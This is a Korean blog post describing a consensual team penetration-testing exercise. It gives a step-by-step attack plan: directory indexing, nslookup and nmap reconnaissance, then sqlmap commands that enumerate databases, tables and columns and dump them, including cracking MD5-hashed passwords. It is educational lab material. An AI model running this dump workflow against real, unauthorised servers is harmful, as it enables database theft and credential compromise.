[보안] 웹 해킹 팀 프로젝트(시나리오 실습)
웹해킹 프로젝트는 팀별로 웹페이지를 만들고 서로의 웹페이지의 정보를 빼오는 모의해킹을 실습한 프로젝트입니다.
이 프로젝트는 2주동안 웹페이지를 만들고 1주일에 한 번씩 2회의 실습에 걸쳐 진행되었습니다.
프로젝트에 대한 더 자세한 소개와 내용은 아래 깃허브 레파지토리에서 확인할 수 있습니다.
https://github.com/Prcnsi/Hacking_Team_Project
GitHub - Prcnsi/Hacking_Team_Project: 팀별로 서버를 구축해서 모의해킹 실습!!
팀별로 서버를 구축해서 모의해킹 실습!! Contribute to Prcnsi/Hacking_Team_Project development by creating an account on GitHub.
github.com
본 포스트를 올리게 된 이유는 실습을 위해 sqlmap 등의 예시를 찾아보는데
기존 포스트의 대부분이 DVWA로 실습서버가 동일한 점을 착안하여
실 서버를 구축해서 실습한 이번 프로젝트가 올라가면 참고가 될까 싶어 올리게 되었다.
실제 서버를 대상으로 해킹을 시도하면 불법이고
본 포스트는 팀끼리 합의된 상황에서 진행되었음을 알립니다.
이번 프로젝트를 진행하면서 각종 해킹 툴, 혹은 이론들에 대해 그래서 실제로 (모의) 해킹할 때
어디서 어떻게 써먹을 것인가에 대한 실증적인 고민을 했다.
예를 들어서 익히 포트스캔은 열린 포트로 침투한다고 이론적으로 알고 있는데
실제로 nslookup으로 ip를 알아내고 nmap으로 열린 포트까지는 쉽게 알아낼 수 있다.
그런데 여기서 어떻게 더 접근할 것인가에 대한 문제는 아직 해결을 못 했다.
이 프로젝트는 2주의 시간동안 팀별로 서버를 구축하고 해당 서버를 공격하는 프로젝트이다.
실습은 1주일에 1회씩 2주간 총 2회의 실습으로 이루어졌다.
아래는 1회의 실습에서 얻은 피드백을 바탕으로 2회 실습 때 사용할 시나리오(계획)이다.
요약
-디렉터리 인덱싱, 포트스캔으로 열린 포트 확인 가능
-sqlmap으로 sql injection
1. 취약점 확인
2. 전체 DB확인
3. 현재 DB 확인
4. 현재 DB 지정하고 (-D DB명) 테이블 조회
5. 테이블 기능 추정(로그인/게시판)
6. DB와 테이블 모두 지정하고 전체 조회(덤프)
피드백 기반 시나리오(공격 계획)
1. 디렉터리 인덱싱 취약점: 프로젝트명 지운 URL 들어가면 디렉터리 인덱스 나열됨
=> 웹 구조 파악 가능
2. Nsloopup (enter) URL 로 IP 주소 확인
3. Nmap -sT ip로 알아낸 ip의 열린 포트 확인
4. 웹의 취약점 파악
sqlmap -u [get으로 받는 페이지의 URL]
+sqlmap -u [get 사용하는 페이지의 url] --dbs으로 모든 db 확인 가능
5. 현재 DB파악
sqlmap -u [get으로 받는 페이지의 URL]” –current-db
(저거 내가 CREATE DATABASE login으로 만든 거(뿌듯))
6. 테이블 목록 조회
sqlmap -u [get 사용하는 페이지의 url] -D [db명] --tables
+칼럼 조회
sqlmap -u [get 사용하는 페이지의 URL] -D [db명] -T [테이블명] --columns
7. 테이블 전체 덤프(탈취)
sqlmap -u [get 사용하는 페이지의 url] -D [db명] -T [테이블명] –dump
위의 화면을 보면 해쉬도 풀 거냐는 옵션에 'Y'를 해서 해쉬로 암호화된
비밀번호 값까지 확인하는 것을 알 수 있다.
(md5로 $pw=$_POST ['pw'];와 $pw=md5($pw);로 암호화해서 저장함)
한 가지 의문점은 저 상황에서 실제 DB 들어가서 확인해 보면 위 화면처럼 다 Blank로 뜨지 않고
잘 저장되어 있는데 여기선 다 안 나오는 게 좀 의문이다.
왜 그럴까 싶지만 다행히 이 시나리오대로 공격했을 때 다른 팀 DB는 잘 털렸다.
그래서 우리 코드가 좀 더 보안에 신경 썼다는 뜻으로 받아들이겠다.
이상으로 우리 서버에 실습해 보면서 다른 팀을 어떻게, 어떤 순서로 공격해볼지 계획해봤다.
다음 포스트에서는 모의해킹 Writeup을 확인할 수 있다.